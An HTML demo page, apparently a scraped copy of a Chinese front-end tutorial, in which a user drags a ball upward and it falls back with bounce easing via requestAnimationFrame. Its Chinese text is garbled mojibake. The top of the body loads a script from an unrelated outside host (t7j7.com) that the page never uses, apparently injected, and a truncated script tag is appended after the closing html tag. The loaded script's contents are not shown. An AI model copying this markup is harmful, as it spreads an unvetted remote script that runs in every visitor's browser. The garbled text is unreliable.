requestAnimationFrame瀹炵幇鐨悆钀藉湴鐨勭紦鍔ㄦ晥鏋?禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <script> document.createElement("ball"); document.createElement("shadow"); </script> <style> .demo { height: 600px; position: relative; } h4 { text-align: center; font-size: 110%; } ball { width: 100px; height: 100px; border-radius: 100px; position: absolute; left: 50%; top: 500px; margin-left: -50px; background-color: #34538b; background-image: -webkit-radial-gradient(100px 100px at 50px 20px, #a0b3d6, #34538b); background-image: -moz-radial-gradient(100px 100px at 50px 20px, #a0b3d6, #34538b); background-image: radial-gradient(100px 100px at 50px 20px, #a0b3d6, #34538b); cursor: move; z-index: 1; } shadow { position: absolute; width: 100px; height: 30px; position: absolute; left: 50%; bottom: 5px; margin-left: -50px; background-image: -webkit-radial-gradient(ellipse closest-side, rgba(0,0,0,.75), rgba(0,0,0,0)); background-image: -moz-radial-gradient(ellipse closest-side, rgba(0,0,0,.75), rgba(0,0,0,0)); background-image: radial-gradient(ellipse closest-side, rgba(0,0,0,.75), rgba(0,0,0,0)); } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>requestAnimationFrame瀹炵幇鐨悆钀藉湴鐨勭紦鍔ㄦ晥鏋滃疄渚嬮〉闈?/h1> <div id="body" class="light"> <div id="content" class="show"> <h3>灞曠ず</h3> <div class="article_new"><a href="//olsonnd.com/wordpress/?p=3695">鍥炲埌鐩稿叧鏂囩珷禄</a></div> <div class="demo"> <h4>鍚戜笂鎷栧姩灏忕悆鐒跺悗鏀句笅</h4> <ball></ball><shadow></shadow> </div> </div> </div> </div> <script src="//apps.bdimg.com/libs/jquery/1.4.4/jquery.min.js"></script> <script src="requestAnimationFrame.js"></script> <script src="/GitHub/Tween/tween.js"></script> <script> var ball = $("ball"), shadow = $("shadow"); var objBall = {}; var shadowWithBall = function(top) { // 0 ~ 500 var top = top || parseInt(ball.css("top")), scale = 1 + (500 - top) / 300; opacity = 1 - (500 - top) / 300; if (opacity < 0) opacity = 0; shadow.css("opacity", opacity) .css("WebkitTransform", "scale("+ [scale, scale].join(",") +")") .css("transform", "scale("+ [scale, scale].join(",") +")"); }, funFall = function() { var start = 0, during = 100; var _run = function() { start++; var top = Tween.Bounce.easeOut(start, objBall.top, 500 - objBall.top, during); ball.css("top", top); shadowWithBall(top); if (start < during) requestAnimationFrame(_run); }; _run(); }; ball.bind("mousedown", function(event) { objBall.pageY = event.pageY; objBall.flagFollow = true; }); $(document).bind("mousemove", function(event) { if (objBall.flagFollow) { var pageY = event.pageY; objBall.top = 500 - (objBall.pageY - pageY); if (objBall.top < 0) { objBall.top = 0; } else if (objBall.top > 500) { objBall.top = 500; } //cosnole.log(objBall.top); ball.css("top", objBall.top); shadowWithBall(objBall.top); } }); $(document).bind("mouseup", function(event) { if (objBall.flagFollow) funFall(); objBall.flagFollow = false; }); </script>  <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script type="text/javascript"> google_ad_client = "pub-0090627341039040";google_ad_slot = "4686885989";google_ad_width = 728;google_ad_height = 90;</script> <script type="text/javascript" src="//pagead2.googlesyndication.com/pagead/show_ads.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys